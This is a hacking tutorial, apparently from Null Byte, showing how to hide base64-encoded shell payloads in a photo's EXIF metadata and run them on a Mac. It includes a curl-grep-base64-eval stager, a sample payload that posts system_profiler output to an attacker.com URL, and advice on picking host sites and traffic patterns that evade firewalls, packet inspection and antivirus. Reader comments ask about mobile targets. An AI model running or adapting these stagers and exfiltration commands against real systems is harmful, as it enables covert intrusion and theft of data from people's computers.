Hacking macOS: How to Hide Payloads Inside Photo Metadata

How to Hide Payloads Inside Photo Metadata

Complex shell scripts can be implanted into photo metadata and later used to exploit a MacBook. In addition to obfuscating the true nature of an attack, this technique can be used to evade network firewalls as well as vigilant sysadmins.

In this attack scenario, a malicious command will be embedded directly into the EXIF metadata of an image file. The attacker would host the malicious image on a public website like Flickr, making it accessible for anyone to download. A stager will then be created to download the image, extract the metadata, and execute the embedded command.

To be clear, double-clicking the image file will not cause the embedded command to execute. That's a different kind of macOS attack, something we've covered in another article. Instead, the command will be hidden in the metadata of the image and used as a payload delivery system.

The stager and payload are two different aspects of the attack. The stager is designed to download the image and execute the embedded payload, while the payload is the final bit of code (embedded in the picture) designed to perform one or more commands.

Why Embed Payloads into Images?

So, why have a stager at all if the attacker is already in a position to execute code on the target MacBook? Well, primarily, varying degrees of active evasion. Also, stagers can be quite small, only ~100 characters long, making them quicker to execute with a USB Rubber Ducky or MouseJack attack, for example.

In most scenarios, hiding a payload inside an image file isn't required. In highly secure environments, however, where every domain is logged by firewall software, it may be beneficial to conceal the contents and origin of the payload.

1. Firewall Evasion

With software like pfSense, every domain and IP address visited by each device on the network is logged. With commercial software like Fortinet's FortiGate firewall, each packet can be thoroughly dissected for analysis. These kinds of firewalls make it difficult for an attacker using simple TCP connections established with Netcat to persist on the compromised device or covertly map the network.

The usage of images to conceal payloads can make it difficult for sysadmins monitoring traffic to identify the activity as malicious or suspicious.

2. Deep Packet Inspection Evasion

In secured environments, operating systems may be configured to use custom certificates, which make it possible for network administrators to decrypt data going to and a from devices on the network. With tools like Wireshark, it's possible to compile TCP streams and recreate image files using the raw captured data.

3. Antivirus Evasion

Premium versions of Avast and AVG antivirus software may analyze and detect certain kinds of stagers and payloads. For example, AV software can identify most stagers created by Empire. With hardened network environments, it may require a high degree of obfuscation to evade detection signatures. Utilizing stagers can make it difficult for AV software to detect the true nature of a particular file.

Tools to Be Familiar With

Before going forward, you should should have a general comfort with tools like curl, system_profiler, exiftool, grep, and Bash scripting before proceeding. All of these topics have been covered on Null Byte before at some point in some way.

Step 1: Download an Image

To get started, download the image that will be used in the attack. The stager (shown in a later step) won't actually save the image to the target's computer, so it doesn't have to be an image of anything particularly relevant. For demonstration purposes, we can use my Twitter profile picture, which can be downloaded using wget and saved (-O) to the /tmp directory.

~$ wget 'https://pbs.twimg.com/profile_images/944123132478189568/tgQESxWF_400x400.jpg' -O image.jpg

--2019-05-15 06:50:22--  https://pbs.twimg.com/profile_images/944123132478189568/tgQESxWF_400x400.jpg
Resolving pbs.twimg.com (pbs.twimg.com)..., 2606:2800:220:1410:489:141e:20bb:12f6
Connecting to pbs.twimg.com (pbs.twimg.com)||:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19316 (19K) [image/jpeg]
Saving to: ‘image.jpg’

image.jpg                100%[=================================>]  18.86K  64.4KB/s    in 0.3s

2019-05-02 06:50:25 (64.4 KB/s) - ‘image.jpg’ saved [19316/19316]

Step 2: Generate the Payload

For this example, we'll first learn to execute a straightforward touch command. When the stager executes the payload embedded in the image, it will create an empty file on the macOS desktop called "hacked."

First, use printf, base64, and tr to encode the payload. Base64 will encode the string, while tr will delete (-d) newlines (\n). You should always enclose the payload (touch ~/Desktop/hacked) in single-quotes.

~$ printf 'touch ~/Desktop/hacked' | base64 | tr -d '\n'


A more complex payload, which involves macOS's system_profiler command, can be used to perform situational awareness attacks as well as curl to exfiltrate the command's output to the attacker's server.

~$ printf 'd=$(system_profiler SPFirewallDataType);curl -s --data "$d" -X POST http://attacker.com/index.php' | base64 | tr -d '\n'


Taking it a step further, it would be possible to encode an entire Bash script that has been compressed into one line. In my tests, there seemed to be no limitation to how many characters can be embedded into a metadata tag.

~$ cat /path/to/any_script.sh | base64 | tr -d '\n'


Step 3: Embed the Payload into the Image

To embed the encoded payload into the image, install exiftool.

~$ apt-get update && apt-get install exiftool -V

Reading package lists... Done
Building dependency tree
Reading state information... Done
Note, selecting 'libimage-exiftool-perl' instead of 'exiftool'
The following NEW packages will be installed:
   libarchive-zip-perl (1.64-1)
   libimage-exiftool-perl (11.16-1)
   libmime-charset-perl (1.012.2-1)
   libposix-strptime-perl (0.13-1+b5)
   libsombok3 (2.4.0-2)
   libunicode-linebreak-perl (0.0.20190101-1)
0 upgraded, 6 newly installed, 0 to remove and 0 not upgraded.
Need to get 3,629 kB of archives.
After this operation, 21.0 MB of additional disk space will be used.
Do you want to continue? [Y/n]

Then, clear any and all EXIF metadata that may be in the image.

~$ exiftool -all= image.jpg
  1 image files updated

Then, use exiftool to add a metadata tag — it will work with any available tag — containing the encoded payload. The Certificate tag is used in this demonstration.

~$ exiftool -Certificate='dG91Y2ggfi9EZXNrdG9wL2hhY2tlZA==' image.jpg
  1 image files updated

When that's done, verify the Certificate tag was properly added with the following exiftool command. Notice the encoded string on line 13.

~$ exiftool image.jpg

01  ExifTool Version Number         : 11.16
02  File Name                       : image.jpg
03  Directory                       : .
04  File Size                       : 21 kB
05  File Modification Date/Time     : 2019:05:02 06:50:57+00:00
06  File Access Date/Time           : 2019:05:02 06:50:57+00:00
07  File Inode Change Date/Time     : 2019:05:02 06:50:57+00:00
08  File Permissions                : rw-r--r--
09  File Type                       : JPEG
10  File Type Extension             : jpg
11  MIME Type                       : image/jpeg
12  XMP Toolkit                     : Image::ExifTool 11.16
13  Certificate                     : dG91Y2ggfi9EZXNrdG9wL2hhY2tlZA==
14  Image Width                     : 400
15  Image Height                    : 400
16  Encoding Process                : Progressive DCT, Huffman coding
17  Bits Per Sample                 : 8
18  Color Components                : 3
19  Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
20  Image Size                      : 400x400
21  Megapixels                      : 0.160

Step 4: Upload the Image to a Website

Finding a suitable website is tricky. The criteria for this is severalfold.

Avoid EXIF Data Sanitization

Many popular websites like Twitter, Imgur, and Instagram automatically wipe metadata from images when uploaded, which is done primarily to protect users from accidentally uploading photos containing GPS coordinates that would allow cyberstalkers and cyberbullies to harass and find those users.

Images containing payloads would be wiped when uploaded to mainstream websites. The candidate website would have to be manually tested by first uploading the image, then downloading it, and using exiftool to see if the embedded payload is still intact.

Website Encryption

Transport layer security is essential to further obfuscating this attack. The website used to host the image should use HTTPS, which will help in preventing sysadmins from analyzing the GET request with surgical precision.

Web Traffic Irregularities

Ideally, the website used in the attack would be one visited by the target regularly. For example, if the target visited a particular news website every morning, a visit to this domain wouldn't appear suspicious to sysadmins monitoring traffic on the network. On the other hand, an unusual GET request to a foreign website or adult website will probably raise some red flags. This kind of information can be enumerated during the reconnaissance phase with covert packet captures. The key is to make the traffic look as ordinary to the target's web behavior as possible.

Step 5: Generate the Stager

In my quick attempts to extract metadata from images using native macOS tools, none seemed capable of accessing or displaying the particular string ("Certificate") of EXIF metadata embedded in the image. Fortunately, grep has an -a option which allows it to process binary files (i.e., images) as if they were plaintext, allowing it to find the "Certificate" string in the metadata.

Below is an example stager that can be used to download images, extract and decode payloads, then execute the command(s).

~$ p=$(curl -s https://website.com/image.jpg | grep Cert -a | sed 's/<[^>]*>//g' | base64 -D);eval $p

There are a few things happening here, so I'll break down each section of the stager.

  • p=$(...) — Most of the stager is enclosed in a variable called "p" (aka payload), done primarily to keep the image from being saved directly to the target's macOS hard drive.
  • curl -s https://website.com/image.jpg — Curl is used here to silently (-s) download the image containing the payload from a website of the attacker's choosing. The image is immediately piped (|) into the following grep command.
  • grep Cert -a — Grep will take the raw image data, process it as a plaintext (-a) while searching for the "Cert" string. That output would appear in a terminal as shown below.
  • sed 's/<[^>]*>//g' — The above output is immediately piped into this sed command. Sed will remove all surrounding XML data (i.e., <xmpRights></xmpRights>), leaving only the encoded string.
  • base64 -D — The encoded string is piped into this base64 command where it's decoded with the -D option, ultimately, making the $p variable the decoded payload.
  • eval $p — Finally, eval is used to evaluate the variable as a command, effectively executing the payload in its variable form.

We can verify the attack was successfully executed by finding the "hacked" file on the macOS desktop.

Again, this is a very simple payload. More sophisticated attacks may involve automated browser password dumping, microphone eavesdropping, situational awareness enumeration, privilege escalation, sudo password exfiltration, and so on.

That's all there is to concealing payloads inside image metadata. Stay tuned, because I'll be showing how to exfiltrate data inside images — without the use of metadata tags — in a future article! Message me on Twitter @tokyoneon_ if you have any questions, or leave a comment below.

Just updated your iPhone? You'll find new features for Podcasts, News, Books, and TV, as well as important security improvements and fresh wallpapers. Find out what's new and changed on your iPhone with the iOS 17.5 update.

Cover photo and screenshots by tokyoneon/Null Byte


Is it possible to apply this method on mobile devices ( smartphones, tabletes..) ? if so

can you send the image via whatsapp or any other app or you should donwload it directly from a web site. by the way good explanation very clear

The only way this effective on any system is if it has the means to run the encoded binary. iOS is running modified freeBSD and Android is running its own variant of the gnu/linux kernel. To not make this confusing , if the device can understand the binary and execute it, then yes. So you would have to use a payload that is aimed at mobile platform.. Metasploit has modules for using steghide to encode payloads into image files. For mobile , your better off sticking to what we know works, Metasploit. To compromise a mobile device its going to be a combination of hacks that compromise the device. Also its important when creating a mobile payload to consider whether or not it requires user interaction, often that is the roadblock.

will it work on android payload too?

Share Your Thoughts

  • Hot
  • Latest